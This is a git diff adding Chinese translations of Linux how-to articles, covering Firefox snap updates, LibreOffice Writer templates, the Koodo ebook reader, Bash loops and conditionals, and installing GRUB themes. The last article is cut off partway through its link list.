已在后台更新,重启浏览器将运行较新版本。 + +只是,并非如此。 + +**即使在你重启浏览器甚至计算机后,它仍可能显示相同的 “pending update of Firefox” 通知**。 + +令人沮丧么?我可以告诉你发生了什么。 + +让我解释一下为什么会发生这种情况,以及你可以做些什么来“修复”它。 + +### 修复 “pending update of Firefox snap” 问题 + +早些时候,Firefox 曾经在后台更新,然后要求你重启浏览器。在你重启浏览器之前 [不能][2] 打开任何网站。 + +![Firefox forced restart in the past][3] + +在将 [Firefox 浏览器切换为默认 Snap 包格式][4] 后,Ubuntu 团队对更新流程进行了一些改动。 + +此通知是“改进的用户体验”的一部分。现在,Firefox 不再阻止你浏览。你可以在方便时重新启动浏览器以进行更新。 + +但是为什么即使在你重新启动浏览器或系统后它仍然显示这个通知? + +因为这是一条糟糕的通知消息,无法为你提供完整的信息。 + +#### Firefox 更新还没有开始 + +当你看到 “pending Firefox update” 时,你错误地认为应用已在后台更新,重启会将其升级到较新的版本。 + +而对于现在这种情况,Ubuntu 中的 Snap 包每天会自动刷新(更新)一次或几次。为了避免在重新启动安装更新之前 Firefox 不允许你浏览任何内容而导致工作中断,Ubuntu 甚至不会在后台更新 Firefox Snap 包。 + +相反,当 Snap 包刷新时,**它会显示通知并希望你立即关闭浏览器**,以便可以使用其他 Snap 包进行更新。 + +但像你我这样的用户不能这样做,对吧?看到通知,立即关闭浏览器?并不是很方便。 + +而当你有时间关闭浏览器时,Snap 刷新却不会马上更新浏览器。 + +你可以看到更新的 Snap 版本的 Firefox 可用,但只要 Firefox 正在运行,它就不会自动安装。 + +![Firefox snap won’t be updated automatically if the browser is running][5] + +#### 更新 Firefox Snap + +这是你摆脱每天不断出现的更新通知所需要做的事情。 + +* 关闭 Firefox 浏览器 +* 手动运行 Snap 刷新(更新已安装的 Snap 包) + +确保你在 Firefox 浏览器中的工作已保存。现在,使用鼠标关闭所有 Firefox 浏览器或在终端中运行以下命令: + +``` +sudo killall firefox +``` + +现在 Firefox 不再运行,更新 Snap 软件包: + +``` +sudo snap refresh +``` + +你会看到它开始下载更新的 Firefox 包。 + +![Firefox is being updated with Snap][6] + +更新完成后,你将看到 Firefox 已升级到更新版本的摘要信息。 + +![Updated Firefox snap version][7] + +### 总结 + +安装非 Snap 版本的 Firefox 也可能是个解决方案,但不是每个人都可以走这条路。 + +Firefox 和 Snap 的开发人员必须齐心协力改进这个模棱两可的更新过程。他们应该提供更好的机制,不仅显示待处理更新的通知,还提供启动更新的选项。 + +这是我们最近在 Ubuntu 上看到的许多奇怪的事情之一。这必须改变才能使 Ubuntu (再次)成为一个对初学者友好的发行版。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/pending-update-firefox-ubuntu/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/wp-content/uploads/2022/07/pending-update-firefox-ubuntu.png +[2]: https://news.itsfoss.com/mozilla-annoying-new-tab/ +[3]: https://itsfoss.com/wp-content/uploads/2022/07/firefox-restart.webp +[4]: https://news.itsfoss.com/ubuntu-firefox-snap-default/ +[5]: https://itsfoss.com/wp-content/uploads/2022/07/pending-Firefox-update-issue-Ubuntu.png +[6]: https://itsfoss.com/wp-content/uploads/2022/07/updating-firefox-snap-package-ubuntu.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/firefox-snap-update-ubuntu.png diff --git a/published/202208/20220725 How to use LibreOffice Writer templates.md b/published/202208/20220725 How to use LibreOffice Writer templates.md new file mode 100644 index 0000000000..3ca137d39f --- /dev/null +++ b/published/202208/20220725 How to use LibreOffice Writer templates.md @@ -0,0 +1,78 @@ +[#]: subject: "How to use LibreOffice Writer templates" +[#]: via: "https://opensource.com/article/22/7/libreoffice-writer-templates" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14925-1.html" + +如何使用 LibreOffice Writer 模板 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/13/165957bxrcv4lnxttdtc5c.jpg) + +> 使用 LibreOffice 模板快速开始在 Linux 上写作。 + +任何办公软件套件中的主要部件都是文字处理器。无论你的需求如何,从记笔记到写书,文字处理器都能完成工作。大多数 Linux 发行版都包含 [LibreOffice][2] 套件,我使用 LibreOffice Writer 作为我的文字处理器。 + +LibreOffice Writer 通过其工具栏、键盘快捷键和菜单提供了很大的灵活性。但是,如果你只是想轻松地开始一个文档,你可以使用其中一个预加载的模板。以下是如何使用 LibreOffice Writer 模板让你的工作更轻松。 + +### 开始一个新文档 + +LibreOffice Writer 从一个空白文档开始。大多数人就从这里开始写作,但这也是从模板创建新文档的地方。 + +首先,打开“文件File”菜单,然后选择“新建New”、“模板Templetes”。此选项会打开模板选择对话框: + +![Open templates from the File menu][3] + +模板选择对话框显示系统上可用的不同模板。默认的 LibreOffice Writer 安装包括用于不同类型的商务信函、简历和其他文档的模板。你可以使用对话框顶部的过滤器选项浏览列表或缩小结果范围。 + +![Select a template][4] + +单击你想要的模板,然后单击“打开Open”以使用此模板开始一个新的 Writer 文档。一些模板包括样板文本或其他示例材料,你可以使用这些材料开始编写新文档。例如,**现代商务信函**由以下 “lorem ipsum” 示例文本组成: + +![Modern business letter template][5] + +其他文档模板只是为你提供了一个具有一些漂亮的默认设置的空文档的起点。例如,**现代**文档模板对文本正文使用无衬线字体(例如 Linux 系统上的 Carlito): + +![Modern template][6] + +### 下载模板 + +如果你在内置选项中没有找到所需的模板,你可以从 LibreOffice 的网站下载合适的文档模板。进入 [LibreOffice 扩展][7]以开始使用 LibreOffice 扩展和模板库。 + +![Templates and extensions options][8] + +在框中输入搜索词以查找你需要的文档模板。例如,学生可能会搜索 “APA” 来查找为 APA 样式设置的文档模板,这是学术论文的常见样式。 + +![APA format template][9] + +### 总结 + +如果你需要编写文档,请浏览 LibreOffice 模板以找到适合你的模板。使用模板意味着你可以花费更少的时间来设置文档以使其具有某种外观,并且可以更快地工作。在支持你的工作的 LibreOffice 扩展和模板库中查找其他文档模板。 + +(图片来源:Jim Hall,CC BY-SA 4.0) + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/libreoffice-writer-templates + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/doc-dish-lead.png +[2]: https://www.libreoffice.org/ +[3]: https://opensource.com/sites/default/files/2022-07/1new-file-template.png +[4]: https://opensource.com/sites/default/files/2022-07/2templates-selection.png +[5]: https://opensource.com/sites/default/files/2022-07/3modern-bus-letter.png +[6]: https://opensource.com/sites/default/files/2022-07/4modern-template.png +[7]: https://templates.libreoffice.org/ +[8]: https://opensource.com/sites/default/files/2022-07/5temps-and-extensions.png +[9]: https://opensource.com/sites/default/files/2022-07/6apa-template.png diff --git a/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md b/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md new file mode 100644 index 0000000000..42f7201a9a --- /dev/null +++ b/published/202208/20220725 Koodo is an All-in-one Open Source eBook Reader App for Linux.md @@ -0,0 +1,108 @@ +[#]: subject: "Koodo is an All-in-one Open Source eBook Reader App for Linux" +[#]: via: "https://itsfoss.com/koodo-ebook-reader/" +[#]: author: "Abhishek Prakash https://itsfoss.com/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14902-1.html" + +Koodo:一款适用于 Linux 的一体化开源电子书阅读器应用 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/06/200116wwgeawub7ge0tard.jpg) + +有几个可供桌面 Linux 用户使用的 [电子书阅读器][1]。 + +几乎所有发行版都带有可以打开 PDF 文件的文档阅读器。它还可能支持其他文件格式,例如 epub 或 Mobi,但不一定。 + +这就是为什么需要像 [Foliate][2] 和 Calibre 这样的专门应用来阅读和管理各种格式的电子书的原因。 + +最近,我遇到了另一个开源软件,它为电子书阅读器提供了几个令人兴奋的功能。 + +### Koodo:它有你能想到的一切 + +[Koodo][3] 是一款多合一的开源电子书阅读器,具有帮助你更好地管理和阅读电子书的功能。它是一个跨平台应用,你可以在 Linux、Windows 和 macOS 上下载。你甚至可以 [在浏览器中使用它][4]。 + +它的用户界面看起来很现代,可能是因为它是一个 Electron 应用。你必须导入书籍并将它们添加到 Koodo。它不按文件夹导入书籍。不过,你可以选择多个文件进行导入。书太多了?可以将一些添加到你的收藏夹以便快速访问。 + +![Koodo ebook reader interface][5] + +我使用了 AppImage 格式的软件包,但由于未知原因,它没有显示文件的缩略图。 + +![Koodo ebook reader dark mode interface][6] + +它支持流行的电子书文件格式,如 PDF、Mobi 和 Epub。但不止这些,它还支持 CBR、CBZ 和 CBT 等漫画书格式,它还支持更多。它还可以阅读 FictionBooks(.fb2)、Markdown 和富文本格式(RTF)以及微软 Office Word 文档(.docx)。 + +除了支持很多文件格式外,它还提供了多种功能来改善你的阅读体验。 + +你可以高亮显示文本并使用文本注释对其进行注释。你还可以在当前文档或谷歌上搜索选定的文本。 + +![Annotate, highlight or translate selected text][7] + +你可以从主应用窗口的侧边栏中访问高亮显示的文本和注释。 + +也有文本到语音和翻译选定文本的选项。但是,这两个功能在我的测试中都不起作用。我使用的是 Koodo 的 AppImage 版本。 + +Koodo 支持各种布局。你可以以单列、双列或连续滚动布局阅读文档。对于 ePub 和 Mobi 格式,它会自动以双列布局打开。对于 PDF,默认选择单列布局。 + +你可以根据自己的喜好自定义 UI。更改字体、大小、段落间距、文本颜色、背景颜色、行间距、亮度等。 + +![koodo additional features][8] + +Koodo 支持夜间阅读模式以及五个不同的主题。你可以根据自己的喜好在主题之间切换。 + +你还可以使用 Dropbox 或其他支持 Webdav 协议的 [云服务][9] 跨设备同步你的书籍和阅读数据(如高亮、笔记等)。 + +![You can backup your data in your preferred cloud service][10] + +### 在 Linux 上获取 Koodo + +如果你想体验一下 Koodo,你可以试试它的在线版本。你可以在浏览器中使用 Koodo。你的数据本地存储在浏览器中,如果你清理浏览器缓存,你会丢失数据(高亮、笔记等,但不会丢失计算机上存储的书籍)。 + +> **[在线尝试 Koodo][11]** + +如果你喜欢它的功能,可以选择在您的计算机上安装 Koodo。 + +Linux 用户有多种选择。你有 Debian 和基于 Ubuntu 的发行版的 deb 文件、Red Hat 和 Fedora 的 RPM,以及面向所有发行版的 Snap、AppImage 和可执行文件。 + +你可以从项目主页获取你选择的安装程序。 + +> **[下载 Koodo][12]** + +### 总结 + +Koodo 并不完美。它有大量功能,但并非所有功能都能完美运行,正如我在测试中发现的那样。 + +尽管如此,它仍然是一个很好的应用,有可能在用户中流行起来。只有少数几个应用包含如此多的功能。 + +感谢 Koodo 开发人员为桌面用户创建了一个有前途的开源应用。 + +你可以 [访问该项目的仓库][13] 来查看源代码、报告 bug 或者通过给项目加星来向开发者表达喜爱。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/koodo-ebook-reader/ + +作者:[Abhishek Prakash][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-ebook-readers-linux/ +[2]: https://itsfoss.com/foliate-ebook-viewer/ +[3]: https://koodo.960960.xyz/en +[4]: https://reader.960960.xyz/#/manager/empty +[5]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-ebook-reader-interface.webp +[6]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-interface.png +[7]: https://itsfoss.com/wp-content/uploads/2022/07/koobo-ebook-reader-features.webp +[8]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-additional-features.webp +[9]: https://itsfoss.com/cloud-services-linux/ +[10]: https://itsfoss.com/wp-content/uploads/2022/07/koodo-backup-restore-feature.png +[11]: https://reader.960960.xyz/ +[12]: https://koodo.960960.xyz/en +[13]: https://github.com/troyeguo/koodo-reader diff --git a/published/202208/20220726 How I use Bash to automate tasks on Linux.md b/published/202208/20220726 How I use Bash to automate tasks on Linux.md new file mode 100644 index 0000000000..a7b96162bc --- /dev/null +++ b/published/202208/20220726 How I use Bash to automate tasks on Linux.md @@ -0,0 +1,142 @@ +[#]: subject: "How I use Bash to automate tasks on Linux" +[#]: via: "https://opensource.com/article/22/7/use-bash-automate-tasks-linux" +[#]: author: "Jim Hall https://opensource.com/users/jim-hall" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14983-1.html" + +如何在 Linux 上使用 Bash 自动化任务 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/30/181814f4v7ahztuaaxwqwg.jpg) + +> Bash 有一些方便的自动化功能,可以让我在 Linux 上处理文件时更轻松。 + +通过 Bash 命令行进行自动化任务是极好的一种方式。不论你使用运行在服务器上的 Linux 进行管理日志文件或其他文件,还是你在个人电脑上整理文件以使桌面保持整洁,使用 Bash 的自动化功能会使你的工作变得更轻松。 + +### 自动执行文件任务:for + +如果你对一堆文件要同时处理,并且对每个文件进行相同的操作,请使用 `for` 命令。该命令会遍历文件列表,并执行一个或多个命令。`for` 命令如下所示: + +``` +for 变量 in 列表 +do +    命令 +done +``` + +我在示例中添加了额外的空白和换行,来分开 `for` 命令中不同的部分。看起来好像无法在命令行中同时运行多个命令,不过你可以使用 `;` 将所有命令放在同一行中,就像这样: + +``` +for 变量 in 列表 ; do 命令 ; done +``` + +让我们看看它的实际效果。我使用 `for` 命令来重命名一些文件。最近,我有一些截图,想要重命名。这些截图名称为 `filemgr.png` 或 `terminal.png`,我想将 `screenshot` 放在每个名称前。我可以使用 `for` 命令一次性将 30 个文件重命名。这是两个文件的示例: + +``` +$ ls +filemgr.png  terminal.png +$ for f in *.png ; do mv $f screenshot-$f ; done +$ ls +screenshot-filemgr.png  screenshot-terminal.png +``` + +`for` 命令使得在一系列文件中执行一种或多种操作变得容易。你可以用一些有意义的变量名,比如 `image` 或 `screenshot`,或者你用示例中“缩写的”变量 `f`。当我在使用 `for` 循环写脚本的时候,会选择有意义的变量名。但是当我在命令行中使用 `for`,我通常会选择缩写变量名,比如 `f` 代表文件,`d` 代表目录等。 + +不论你选择怎样的变量名,请确保在引用变量时添加 `$` 符号。这会将变量扩展为你正在处理的文件的名称。在 Bash 提示符下键入 `help for` 以了解有关 `for` 命令的更多信息。 + +### 按条件执行:if + +当你需要对每个文件执行相同操作时,使用 `for` 循环遍历一些文件很有帮助。但是,如果你需要对某些文件做一些不同的事情怎么办?为此,你需要使用 `if` 语句进行条件执行。`if` 语句如下所示: + +``` +if 测试 +then +    命令 +fi +``` + +你也可以使用 `if`、`else` 语句进行判断: + +``` +if 测试 +then +    命令 +else +    命令 +fi +``` + +你可以使用 `if`、`elif`、` else` 语句来实现更复杂的程序。当我一次性需要自动处理很多文件时,我会在脚本中使用: + +``` +if 测试1 +then +    命令 +elif 测试2 +then +    命令 +elif 测试3 +then +    命令 +else +    命令 +fi +``` + +`if` 命令可以让你进行各种判断,例如判断一个文件是否是一个文件,或者一个文件是否为空文件(零字节)。在命令行中输入 `help test`,可以立即查看使用 `if` 语句能够进行的各种测试。 + +例如,假设我想清理一个包含几十个文件的日志目录。日志管理中的一个常见任务是删除所有空日志文件,并压缩其他日志。解决这个问题的最简单方法是删除空文件。没有可以完全匹配的 `if` 测试,但是我们有 `-s` 选项来判断是否是一个文件,并且判断该文件不是空的(大小不为零)。这与我们想要的相反,但我们可以使用 `!` 来否定测试,以判断某些内容不是文件或为空。 + +让我们用一个示例来看看这个过程。我创建了两个测试文件:一个是空的,另一个包含一些数据。我们可以使用 `if` 判断,*如果*文件为空打印消息 `empty`: + +``` +$ ls +datafile  emptyfile +$ if [ ! -s datafile ] ; then echo "empty" ; fi +$ if [ ! -s emptyfile ] ; then echo "empty" ; fi +empty +``` + +我们可以将 `if` 和 `for` 命令结合起来,检查日志文件列表中的空文件并删除: + +``` +$ ls -l +total 20 +-rw-rw-r--. 1 jhall jhall 2 Jul  1 01:02 log.1 +-rw-rw-r--. 1 jhall jhall 2 Jul  2 01:02 log.2 +-rw-rw-r--. 1 jhall jhall 2 Jul  3 01:02 log.3 +-rw-rw-r--. 1 jhall jhall 0 Jul  4 01:02 log.4 +-rw-rw-r--. 1 jhall jhall 2 Jul  5 01:02 log.5 +-rw-rw-r--. 1 jhall jhall 0 Jul  6 01:02 log.6 +-rw-rw-r--. 1 jhall jhall 2 Jul  7 01:02 log.7 +$ for f in log.* ; do if [ ! -s $f ] ; then rm -v $f ; fi ; done +removed 'log.4' +removed 'log.6' +$ ls -l +total 20 +-rw-rw-r--. 1 jhall jhall 2 Jul  1 01:02 log.1 +-rw-rw-r--. 1 jhall jhall 2 Jul  2 01:02 log.2 +-rw-rw-r--. 1 jhall jhall 2 Jul  3 01:02 log.3 +-rw-rw-r--. 1 jhall jhall 2 Jul  5 01:02 log.5 +-rw-rw-r--. 1 jhall jhall 2 Jul  7 01:02 log.7 +``` + +使用 `if` 命令可以在需要时执行一些操作,使脚本变得智能。我经常会在脚本中使用 `if`,当我需要判断文件在我的系统上存在或不存在时,或者判断脚本正在检查的条目是文件或目录时。使用 `if` 使得脚本能够根据需要采取不同的操作。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/7/use-bash-automate-tasks-linux + +作者:[Jim Hall][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jim-hall +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/bash_command_line.png diff --git a/published/202208/20220726 How To Change GRUB Theme In Linux.md b/published/202208/20220726 How To Change GRUB Theme In Linux.md new file mode 100644 index 0000000000..12f405f2e7 --- /dev/null +++ b/published/202208/20220726 How To Change GRUB Theme In Linux.md @@ -0,0 +1,359 @@ +[#]: subject: "How To Change GRUB Theme In Linux" +[#]: via: "https://ostechnix.com/change-grub-theme-in-linux/" +[#]: author: "sk https://ostechnix.com/author/sk/" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14978-1.html" + +如何在 Linux 中更改 GRUB 主题 +====== + +![](https://img.linux.net.cn/data/attachment/album/202208/29/114710py8bi78opi2t7oop.jpg) + +> 在 Linux 中安装和应用现代的漂亮的 GRUB 主题。 + +**GRUB** ,意即 大统一引导程序GRand Unified Bootloader ,它是大多数 Linux 操作系统的默认引导加载程序。GRUB 引导加载程序是计算机启动时运行的第一个程序。正如你可能注意到的,GRUB 菜单的默认主题是朴素的。它只有一个黑色的背景和一些白色的字符。你们中的一些人可能不喜欢默认的 GRUB 主题。在这篇教程中,我将演示如何 **更改 GRUB 主题** 或应用华丽的主题,以使你的 GRUB 菜单在 Linux 中更加精美。 + +数年前,我们发布了一篇指南,阐释了如何在 Ubuntu 中 [配置 GRUB2 引导加载程序设置][1] 。在这篇文章中,我们将向你展示如何更改 GRUB 背景。 + +但是,只更改背景不是真正的自定义。在这篇指南中,我们不仅会更改壁纸,也会更改 GRUB 的字体、主题和整体的设计。 + +> **免责声明:** 安装 GRUB 主题可能会破坏你的系统。我强烈建议你在一个虚拟机中尝试和测试一个主题来查看它是否没有正常工作。然后再在实际的系统上安装主题。 + +### 介绍 + +在互联网上可以找到很多社区开发的 GRUB 主题。然而,它们却散落在不同的网站上。因此,找到一个好的 GRUB 主题可能会事倍功半。 + +GRUB 主题的一个重要的贡献者是 **Pling** 网站。但是,Pling 中的大部分主题是非常简单的或过时的。 + +幸运的是,我遇到一个名称为 **Gorgeous GRUB** 的项目,它是一个可以找到各种精美的 GRUB 主题的地方。相信我,作者付出了巨大的努力来收集这些主题,肯定会你喜欢的主题。 + +### Gorgeous GRUB:一个可以找到很棒的 GRUB 主题的地方 + +**Gorgeous GRUB** 是一个由不同用户所创建的质量上乘的 GRUB 社区主题的收藏集合。这个项目的开发者从 **Pling** 、**/r/unixporn** 和其它很多的论坛中手工挑选漂亮的 GRUB 主题,并将它们放置到一起,以便用户可以很容易的浏览它们。 + +如上所述,在 Pling 中的很多主题都是粗糙和过时的。Gorgeous GRUB 的作者翻遍了 Pling 和其它一些论坛的整个 GRUB 部分,并将所有令人满意的 GRUB 主题放置到一个地方。 + +它们不是一些粗制滥造的主题。他们付出了大量的努力来将定制的背景、字体和颜色等融合在一起。 + +请注意,Gorgeous GRUB 并不是一个安装你最喜欢的 GRUB 主题的应用程序。它只是一个良好工作的 GRUB 主题的展览列表。 + +这个项目托管在 GitHub 中。如果你有一些很酷的 GRUB 主题,你也可以将其添加到 Gorgeous GRUB 主题列表之中。 + +### 如何更改 GRUB 主题 + +应用或更改 GRUB 主题并不难。 + +转到 [Gorgeous GRUB 的 GitHub 网页][2] ,单击任意你想要应用的主题的标题。接下来,你将会被带到该主题的实际主页。一些主题托管在 **Pling** 之中,一些主题托管在 **GitHub** 之中。我将会看看如何安装来自 Pling 或 GitHub 的 GRUB 主题。 + +首先,让我们看看如何应用 “Descent” 主题,它托管在 Pling 中。 + +#### 1、从 Pling 安装 GRUB 主题 + +如果主题托管在 Pling 网站,遵循这些操作说明。 + +在主题主页,单击 文件Files 标签页。你将会在图像预览的下方找到这个标签页。单击文件链接来下载它。 + +![Download GRUB Theme From Pling][3] + +转到下载位置并提取存档文件: + +``` +$ tar xzf 173860-20150926\ descent.tar.gz +``` + +存档文件的内容将被提取到当前工作目录中一个名称为 `descent` 目录中。 + +使用下面的命令复制 `descent` 目录到 `/boot/grub/themes/` 目录: + +``` +$ sudo cp -r descent/ /boot/grub/themes/ +``` + +如果 `themes` 目录不存在,只需要创建它: + +``` +$ sudo mkdir /boot/grub/themes +``` + +并给 `themes` 目录分配适当的权限: + +``` +$ sudo chown $USER /boot/grub/themes/ +``` + +接下来,如上所述复制 `descent` 目录中内容到 `themes` 目录。 + +现在,你应该在 `themes` 目录中有一个以主题名称命名的文件夹: + +``` +$ ls /boot/grub/themes/ +descent +``` + +并且,这个主题文件夹(例如 `descent`)应该包含 `theme.txt` 和该主题附带的其它一些相关的文件(例如,背景图像、自定义文件)。 + +``` +$ ls /boot/grub/themes/descent/ +background1280x800.png descent_score_14.pf2 menu_ne.png menu_s.png progresshigh_c.png scrollframe_c.png scroll_thumb_n.png +background_original.jpg descent_score_18.pf2 menu_n.png menu_sw.png progresshigh_e.png scrollframe_n.png scroll_thumb_s.png +copyright menu_c.png menu_nw.png menu_w.png progresshigh_w.png scrollframe_s.png select_os.png +descent_logo_bold_18.pf2 menu_e.png menu_se.png progressbar_c.png readme scroll_thumb_c.png theme.txt +``` + +在复制下载的主题到 `/boot/grub/themes/` 目录后,编辑 `/etc/default/grub` 文件: + +在进行任意更改前,请备份 `grub` 文件,以防万一: + +``` +$ sudo cp /etc/default/grub /etc/default/grub.bak +``` + +现在,使用你喜欢的编辑器编辑文件: + +``` +$ sudo nano /etc/default/grub +``` + +找到 `GRUB_THEME=` 代码行,并添加路径到你想要使用的主题的 `theme.txt` 。并且,也要取消 `GRUB_GFXMODE=` 代码行的注释,输入背景图像的分辨率。通常,背景图像的文件名称包含其分辨率(例如 `background1280x800.png`)。 + +``` +[...] +GRUB_THEME=/boot/grub/themes/descent/theme.txt +GRUB_GFXMODE=1280x800 +[...] +``` + +![Enter Theme Txt File Path And Background Image Resolution][4] + +再强调一次,如果这些代码行不存在,简单地添加它们。按下 `CTRL+O` 组合键 和 `CTRL+X` 组合键(LCTT 校注:这是 nano 中的快捷键,如果你使用 Vi/Vim,请使用相应的快捷键)来保持更改并关闭文件。 + +现在,应用更改到 GRUB ,使用命令: + +``` +$ sudo update-grub +``` + +示例输出: + +``` +Sourcing file `/etc/default/grub' +Sourcing file `/etc/default/grub.d/init-select.cfg' +Generating grub configuration file ... +Found theme: /boot/grub/themes/descent/theme.txt +Found linux image: /boot/vmlinuz-5.15.0-41-generic +Found initrd image: /boot/initrd.img-5.15.0-41-generic +Found linux image: /boot/vmlinuz-5.15.0-39-generic +Found initrd image: /boot/initrd.img-5.15.0-39-generic +Found memtest86+ image: /boot/memtest86+.elf +Found memtest86+ image: /boot/memtest86+.bin +Warning: os-prober will not be executed to detect other bootable partitions. +Systems on them will not be added to the GRUB boot configuration. +Check GRUB_DISABLE_OS_PROBER documentation entry. +done +``` + +![Update GRUB][5] + +如果你是在基于 RPM 的系统上(例如 Fedora),运行下面的命令来更新 GRUB : + +``` +$ sudo grub2-mkconfig -o /boot/grub2/grub.cfg instead +``` + +重新启动你的系统。你就会看到更新后的 GRUB 主题。如果 GRUB 菜单没有出现。在打开硬件系统的电源时,立即按下 `ESC` 按键,直到启动菜单出现。 + +这是我的 Ubuntu 22.04 LTS 桌面的默认 GRUB 菜单。 + +![Ubuntu Default Grub Menu][6] + +这是更新后的带有复古主题的 GRUB 菜单。 + +![Updated GRUB Menu With Descent Theme][7] + +很酷,是吧? + +##### 移除 GRUB 主题 + +为移除一个主题,简单地删除主题文件夹: + +``` +$ sudo rm -fr /boot/grub/themes/descent/ +``` + +接下来,编辑 `/etc/default/grub` 文件: + +``` +$ sudo nano /etc/default/grub +``` + +移除下面的代码行: + +``` +[...] +GRUB_THEME=/boot/grub/themes/descent/theme.txt +GRUB_GFXMODE=1280x800 +[...] +``` + +保存文件并关闭它。 + +最后,应用更改到 GRUB ,并重新启动你的系统: + +``` +$ sudo update-grub +``` + +``` +$ sudo reboot +``` + +#### 2、从 GitHub 安装 GRUB 主题 + +如果一个 GRUB 主题托管在 GitHub 中,它很可能有安装程序脚本和卸载程序脚本。让我们以 [Modern GRUB Themes][8] 为例。它托管在 GitHub 中。 + +使用 Git 复刻项目的 GitHub 存储库: + +``` +$ git clone https://github.com/vinceliuice/grub2-themes.git +``` + +转到项目的文件夹: + +``` +$ cd grub2-themes/ +``` + +运行安装程序脚本: + +``` +$ sudo ./install.sh +``` + +选择你喜欢的 GRUB 主题背景(例如 tela)。 + +![Choose GRUB Theme Background][9] + +选择图标样式: + +![Choose Icon Style][10] + +选择你的显示分辨率。 + +![Choose Display Resolution][11] + +现在选择将会安装和应用的 GRUB 主题。 + +``` +Checking for the existence of themes directory... + + Installing tela color 1080p theme... + + Setting tela as default... + + Updating grub config... + +Sourcing file `/etc/default/grub' +Sourcing file `/etc/default/grub.d/init-select.cfg' +Generating grub configuration file ... +Found theme: /usr/share/grub/themes/tela/theme.txt +Found linux image: /boot/vmlinuz-5.15.0-41-generic +Found initrd image: /boot/initrd.img-5.15.0-41-generic +Found linux image: /boot/vmlinuz-5.15.0-39-generic +Found initrd image: /boot/initrd.img-5.15.0-39-generic +Found memtest86+ image: /boot/memtest86+.elf +Found memtest86+ image: /boot/memtest86+.bin +Warning: os-prober will not be executed to detect other bootable partitions. +Systems on them will not be added to the GRUB boot configuration. +Check GRUB_DISABLE_OS_PROBER documentation entry. +done + + * All done! + + * At the next restart of your computer you will see your new Grub theme: 'tela' +``` + +![Install Tela Modern Grub Theme][12] + +重新启动你的系统来查看更改。 + +![Tela GRUB Theme][13] + +这是一个漂亮的 GRUB 主题,前所未见。 + +你也可以明确地给定主题的名称和屏幕分辨率,像下面一样。 + +``` +$ sudo ./install.sh -t whitesur -s 1080p +``` + +这将应用一个名称为 “Whitesur” 的主题,使用 1080p 屏幕分辨率。你可能会提及到其它的分辨率,例如 `2k` 、`4k` 、超宽(`ultrawide`)、超宽 2k(`ultrawide2k`) 。如果你不提及分辨率,将默认采用 `1080p` 。 + +安装 Tela 主题到 `/boot/grub/themes` 文件夹: + +``` +$ sudo ./install.sh -b -t whitesur +``` + +重新启动你的系统来查看更改。 + +![Whitesur GRUB Theme][14] + +##### 移除 GRUB 主题 + +为移除已安装的一个主题,转到项目的复刻目录: + +``` +$ cd grub2-themes/ +``` + +随后,运行: + +``` +$ sudo ./install.sh -r -t tela +``` + +使用你已安装的主题的名称来替换 `tela` 。 + +请注意,每个主题的安装说明可能有所不同。详细地参考每个项目的 GitHub 页面,并相应地安装主题。 + +### 总结 + +有些人喜欢使用艺术化的 Linux 发行版。他们以美化其 Linux 发行版而感到高兴和自豪。如果你是他们中的一员,你可以看看 Gorgeous GRUB 项目来美化你的 GRUB 菜单。 + +转到 Gorgeous GRUB 主题网站,从列表中选择你最喜欢的主题,并按照每个项目的主页说明来安装和应用 GRUB 主题。 + +### 资源 + +> **[Gorgeous GRUB 的 GitHub 存储库][15]** + +-------------------------------------------------------------------------------- + +via: https://ostechnix.com/change-grub-theme-in-linux/ + +作者:[sk][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://ostechnix.com/author/sk/ +[b]: https://github.com/lkxed +[1]: 